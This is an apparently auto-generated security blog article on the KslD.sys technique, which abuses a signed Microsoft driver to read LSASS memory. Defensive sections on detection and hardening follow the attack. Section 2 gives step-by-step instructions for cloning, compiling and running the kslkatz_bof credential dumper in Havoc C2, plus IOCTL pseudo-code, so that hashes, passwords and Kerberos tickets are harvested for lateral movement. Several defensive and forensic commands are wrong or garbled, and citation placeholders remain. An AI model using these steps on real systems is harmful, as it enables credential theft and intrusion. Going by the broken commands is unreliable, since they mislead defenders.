Listen to this Post
Introduction
The Local Security Authority Subsystem Service (LSASS) remains the crown jewel of Windows credential storage, traditionally protected by API monitoring that flags suspicious access attempts. A newly ported Bring Your Own Vulnerable Driver (BYOVD) technique leverages a Microsoft-signed kernel driver to read LSASS memory through physical memory access—completely bypassing OpenProcess, ReadProcessMemory, and every auditable API call that security tools typically monitor[reference:0]. This Havoc C2 Beacon Object File (BOF) implementation of the KslD.sys technique represents a paradigm shift in credential access tradecraft, exploiting Microsoft’s own signed driver to achieve stealth that traditional endpoint detection cannot currently address[reference:1].
Learning Objectives
- Understand how the KslD.sys BYOVD technique abuses a Microsoft-signed kernel driver to read LSASS physical memory without opening a process handle.
- Master the step-by-step process of deploying and executing the kslkatz_bof within the Havoc C2 framework for authorized red team operations.
- Identify defensive measures, detection strategies, and mitigation controls to protect Windows environments against BYOVD-based credential theft.
You Should Know
1. Understanding the KslD.sys BYOVD Attack Chain
The attack begins with an unsettling reality: Microsoft has signed and shipped a kernel driver, KslD.sys, that contains a physical memory read primitive accessible from userland. This driver, part of Windows Defender’s core components, remains present on virtually every modern Windows system. Microsoft patched the actively running version of KslD.sys by nulling out the `MmCopyMemory` function, but critically left the old vulnerable version on disk at %SystemRoot%\System32\drivers\KslD.sys[reference:2]. Two versions coexist on most systems:
| Path | Size | Status |
|||–|
| `%SystemRoot%\System32\drivers\KslD.sys` | 333,216 bytes | Vulnerable |
| `%ProgramData%\Microsoft\Windows Defender\Platform\\wd\KslD.sys` | ~82 KB | Patched |
The vulnerable version’s persistence is not a bug but a design choice—Microsoft closed the MSRC report as “Not a Vulnerability” because the attack requires pre-existing administrative privileges. No CVE was assigned, and no fix was issued[reference:3]. This means the driver remains on disk indefinitely, waiting to be weaponized.
Verification commands to check for vulnerable driver presence:
Windows PowerShell (Administrator):
Check if vulnerable driver exists and verify its size Get-Item "$env:SystemRoot\System32\drivers\KslD.sys" | Select-Object Name, Length Verify the vulnerable driver’s SHA256 hash Get-FileHash "$env:SystemRoot\System32\drivers\KslD.sys" -Algorithm SHA256 Expected output for vulnerable version: Name Length KslD.sys 333216 Algorithm Hash: BD17231833AA369B3B2B6963899BF05DBEFD673DB270AEC15446F2FAB4A17B5A
Alternative command-line check (CMD):
dir %SystemRoot%\System32\drivers\KslD.sys certutil -hashfile %SystemRoot%\System32\drivers\KslD.sys SHA256
Step‑by‑step guide explaining how the attack works:
- Driver Location & Loading: The attacker, having already obtained administrative privileges, identifies the vulnerable KslD.sys driver on the target system. The attack uses the Service Control Manager (SCM) to load the driver by swapping the `ImagePath` before loading, ensuring the vulnerable version from `System32\drivers\` is used rather than the patched version[reference:4].
-
Physical Memory Mapping: Once loaded, the vulnerable driver provides a primitive for reading arbitrary physical memory addresses. The attacker leverages this to map and read the memory regions belonging to the LSASS process.
-
Credential Parsing: The raw memory dump is parsed using Mimikatz’s `sekurlsa` logic, extracting MSV1_0 NT hashes, WDigest cleartext passwords, Kerberos tickets, and other authentication material stored within LSASS[reference:5].
-
Stealth Advantage: Throughout this entire process, no handle to the LSASS process is ever opened. This means no `OpenProcess` call appears in audit logs, no `NtReadVirtualMemory` is invoked, and no `MiniDumpWriteDump` operation is logged. The attack leaves no process handle trail for EDRs to follow[reference:6].
The critical takeaway is that this is not a privilege escalation technique—it requires existing admin rights. Its value lies entirely in stealth, allowing attackers to extract credentials while remaining invisible to security tools that rely on API hooking and handle auditing.
2. Deploying kslkatz_bof in Havoc C2
The kslkatz_bof project ports this physical memory read primitive to the Havoc C2 framework as a Beacon Object File (BOF). BOFs execute entirely within the beacon’s process memory, spawning no new processes and leaving no files on disk[reference:7]. This design choice further enhances operational security by reducing the forensic footprint.
Prerequisites:
- Havoc C2 framework installed and configured (Teamserver and client)
- Administrative access on the target Windows system
- Vulnerable KslD.sys driver present (verify using commands above)
- BOF compilation environment (Mingw-w64 or Visual Studio with C toolchain)
Step‑by‑step guide for compilation and deployment:
Step 1: Clone and Compile the BOF
Clone the repository git clone https://github.com/Muz1K1zuM/kslkatz_bof.git cd kslkatz_bof Compile the BOF using MinGW-w64 x86_64-w64-mingw32-gcc -c ksl_lsa.c -o ksl_lsa.o -Os -s -masm=intel Alternatively, if using the Makefile make
Step 2: Load the BOF into Havoc C2
Launch the Havoc client, connect to your teamserver, and navigate to the Script Manager. Load the compiled BOF:
Within Havoc Script Manager Navigate to: View -> Script Manager -> Load Select the compiled ksl_lsa.o file Verify successful loading by checking available commands The BOF should appear as a new command alias, typically "ksl_lsa"
Step 3: Execute the BOF on Target Demon
Once a Demon session is established on the target Windows system with administrative privileges:
Execute the credential extraction BOF The command syntax may vary based on implementation ksl_lsa Expected output will include: - NT hashes for logged-on users - Cleartext passwords if WDigest is enabled - Kerberos tickets - Domain and local account information
Step 4: Parse Extracted Credentials
The BOF outputs raw credential data directly to the Havoc console. This data can be saved for offline analysis or immediately used for lateral movement:
Save output to a file for later parsing ksl_lsa > credentials.txt For structured parsing, redirect to a parser script ksl_lsa | python3 parse_mimikatz_output.py
Optional: Manual Physical Memory Reading
For those wanting to understand the underlying primitive without using the full BOF, here’s a conceptual code snippet (not production-ready) demonstrating the physical memory read approach:
// Pseudo-code illustrating the physical memory read primitive
// This does not compile directly but shows the concept
include <windows.h>
include <winioctl.h>
// IOCTL for physical memory read in vulnerable KslD.sys
define IOCTL_KSL_READ_PHYSICAL 0x9C402400
BOOL ReadPhysicalMemory(HANDLE hDriver, LARGE_INTEGER physicalAddress,
PVOID buffer, SIZE_T size) {
DWORD bytesReturned;
KSL_READ_REQUEST request;
request.PhysicalAddress = physicalAddress;
request.Buffer = buffer;
request.Size = size;
return DeviceIoControl(hDriver, IOCTL_KSL_READ_PHYSICAL,
&request, sizeof(request),
buffer, size, &bytesReturned, NULL);
}
// Usage example: Read LSASS physical memory regions
// Requires driver handle and knowledge of LSASS physical memory mapping
3. Detection and Mitigation Strategies
Defending against BYOVD attacks requires a multi-layered approach, as no single control can fully prevent this technique. Microsoft itself acknowledges the challenge—the vulnerable driver remains on disk because the attack vector is considered “post-exploitation” rather than a vulnerability requiring immediate patching[reference:8].
Step‑by‑step guide for detection and hardening:
Step 1: Enable Hypervisor-Protected Code Integrity (HVCI)
HVCI, also known as Memory Integrity, is the most effective control against BYOVD attacks. When enabled, HVCI blocks the loading of drivers not compliant with the Microsoft Vulnerable Driver Blocklist:
Check HVCI/Memory Integrity status Get-ComputerInfo | Select-Object DeviceGuard Alternative check via registry Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" -Name "Enabled" Enable Memory Integrity via PowerShell (requires reboot) Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" -Name "Enabled" -Value 1 -Type DWord
Step 2: Implement Driver Blocklist Enforcement
Microsoft maintains a Vulnerable Driver Blocklist that works in conjunction with HVCI. Ensure it is enabled and updated:
Check current driver blocklist status Get-WinSystemLocale Verify Windows Defender Application Control is running Update the driver blocklist via Windows Update Get-WindowsUpdate -Install -Category "Security Updates" View currently blocked drivers Get-WDACPolicy | Select-Object -ExpandProperty BlockedDrivers
Step 3: Monitor for Suspicious Driver Load Events
Configure Windows Event Logging to capture driver load events and detect anomalous behavior:
Enable detailed driver load auditing
auditpol /set /subcategory:"Driver Load" /success:enable /failure:enable
Create a custom PowerShell monitor for KslD.sys loading
Register-WmiEvent -Query "SELECT FROM Win32_SystemDriver WHERE PathName LIKE '%KslD.sys%'" -Action {
Write-Warning "KslD.sys driver load detected at $(Get-Date)"
Add alerting logic here (email, SIEM forward, etc.)
}
Relevant Event IDs to monitor:
| Event ID | Log | Description |
|-|–|-|
| 7045 | System | A new driver was installed |
| 6 | Microsoft-Windows-Sysmon/Operational | Driver loaded (requires Sysmon) |
| 4658 | Security | Handle to LSASS closed (unusual patterns) |
| 4663 | Security | Handle to LSASS accessed with unusual rights |
Step 4: Harden LSASS Process Protection
Configure LSASS to run as a Protected Process Light (PPL) to prevent unauthorized memory access, even from administrative accounts:
Configure LSASS to run as PPL New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RunAsPPL" -Value 1 -Type DWord -Force Configure additional LSA protection New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "LsaCfgFlags" -Value 1 -Type DWord -Force Reboot for changes to take effect Restart-Computer -Force
Step 5: Deploy EDR Behavioral Rules
While traditional API monitoring fails against this technique, EDRs can detect the behavioral patterns associated with physical memory manipulation:
Example EDR rule concept (vendor-specific implementation) rule: Detect_KslD_BYOVD_Activity description: "Detects loading and usage of KslD.sys driver" detection: selection_driver_load: - ImageLoaded: "KslD.sys" - EventID: 6 Sysmon driver load selection_physical_memory_access: - DeviceIoControl: "IOCTL_KSL_READ_PHYSICAL" - API: "MmMapIoSpace" condition: selection_driver_load AND selection_physical_memory_access
Step 6: Remove the Vulnerable Driver
As a last resort, security teams can manually remove the vulnerable driver, though this may impact Windows Defender functionality:
Take ownership of the vulnerable driver takeown /f %SystemRoot%\System32\drivers\KslD.sys icacls %SystemRoot%\System32\drivers\KslD.sys /grant Administrators:F Rename the driver to prevent loading (safer than deletion) rename %SystemRoot%\System32\drivers\KslD.sys KslD.sys.disabled Create a deny ACL for the driver file icacls %SystemRoot%\System32\drivers\KslD.sys.disabled /deny "SYSTEM:(R,X)"
Warning: Modifying system driver files may violate your organization’s security policy and could impact Windows Defender functionality. Test thoroughly in a non-production environment first.
4. Forensic Analysis of KslD.sys Exploitation
When investigating potential BYOVD incidents involving KslD.sys, forensic analysts should focus on several key artifacts that remain even after the attack completes.
Step‑by‑step guide for forensic investigation:
Step 1: Analyze Driver Load Order
Query System event log for driver service creation
Get-WinEvent -FilterHashtable @{LogName='System'; ID=7045} |
Where-Object {$_.Message -like "KslD"} |
Format-List TimeCreated, Message
Check current driver status
sc.exe query KslD
Step 2: Examine Physical Memory Access Patterns
Physical memory access leaves traces in the kernel’s memory manager:
Collect memory manager performance counters
Get-Counter "\Memory\" | Export-Csv -Path memory_counters.csv
Check for unusual page fault patterns
Get-WinEvent -FilterHashtable @{LogName='System'; ID=41,42,43} |
Where-Object {$_.Message -like "memory"}
Step 3: Hunt for LSASS Handle Anomalies
Even though the technique avoids opening handles, other processes on the system may still create handles that can be correlated:
Using Sysmon Event ID 10 (ProcessAccess) to find LSASS handle opens
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; ID=10} |
Where-Object {$<em>.Properties[bash].Value -like "lsass.exe"} |
Select-Object TimeCreated, @{Name='SourceProcess'; Expression={$</em>.Properties[bash].Value}},
@{Name='TargetProcess'; Expression={$<em>.Properties[bash].Value}},
@{Name='AccessMask'; Expression={$</em>.Properties[bash].Value}}
Step 4: Detect BOF Execution Indicators
BOFs running within Havoc’s Demon agent may leave memory forensics artifacts:
On a memory dump, use Volatility 3 to detect anomalous code regions vol3 -f memory.dump windows.malfind.Malfind --pid [bash] Check for shellcode injection patterns vol3 -f memory.dump windows.modscan.ModScan --dump
5. Defensive Engineering: Building Your Own BYOVD Detection
Security teams can build custom detection logic to identify the unique fingerprint of KslD.sys exploitation. The following Python script demonstrates a real-time monitoring approach using Windows Event Tracing for Windows (ETW):
BYOVD Monitor - Real-time driver load and physical memory access detection
Requires: pip install pywin32
import win32evtlog
import win32evtlogutil
import time
import re
def monitor_driver_loads():
"""Monitor System event log for KslD.sys driver loads"""
server = 'localhost'
log_type = 'System'
hand = win32evtlog.OpenEventLog(server, log_type)
flags = win32evtlog.EVENTLOG_BACKWARDS_READ | win32evtlog.EVENTLOG_SEQUENTIAL_READ
while True:
events = win32evtlog.ReadEventLog(hand, flags, 0)
for event in events:
if event.EventID == 7045 and 'KslD' in str(event.StringInserts):
print(f"[!] ALERT: KslD.sys driver loaded at {event.TimeGenerated}")
print(f" Details: {event.StringInserts}")
Trigger SOAR playbook or send to SIEM
time.sleep(5)
def check_hvci_status():
"""Verify HVCI/Memory Integrity is enabled"""
import winreg
key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE,
r"SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity")
try:
value, _ = winreg.QueryValueEx(key, "Enabled")
if value == 1:
print("[+] HVCI is ENABLED - BYOVD risk reduced")
else:
print("[!] HVCI is DISABLED - System vulnerable to BYOVD attacks")
except WindowsError:
print("[!] HVCI not configured - System vulnerable to BYOVD attacks")
finally:
winreg.CloseKey(key)
if <strong>name</strong> == "<strong>main</strong>":
print("=== BYOVD Detection Monitor ===")
check_hvci_status()
print("Monitoring for KslD.sys driver loads... Press Ctrl+C to stop")
try:
monitor_driver_loads()
except KeyboardInterrupt:
print("\nMonitoring stopped.")
What Undercode Says
- Trust is the attack surface. Microsoft’s decision to sign and exclude KslD.sys from the HVCI blocklist creates a permanent trust-based vulnerability. Attackers don’t need zero-days when signed drivers ship with exploitable primitives—they just need administrative rights to weaponize them.
-
Stealth is the new privilege. The KslD.sys technique demonstrates that API monitoring alone is insufficient. Security tools must evolve to detect behavioral anomalies like physical memory reads, driver load patterns, and indirect memory access rather than relying on handle-based auditing.
Prediction
As Microsoft continues to treat BYOVD techniques as “post-exploitation” rather than vulnerabilities, we will see a surge in driver-based tradecraft. The same pattern—signed drivers with exposed kernel primitives—will be discovered in other Microsoft components and third-party software. Red teams will increasingly weaponize these drivers, while defenders will be forced to implement hardware-enforced security features like HVCI and pursue zero-trust models that assume administrative access cannot be fully trusted. The arms race will shift from exploiting memory corruption bugs to abusing legitimate signed drivers, making driver blocklisting and kernel integrity enforcement critical controls in modern security architectures.
▶️ Related Video (80% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Rub%C3%A9n H – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
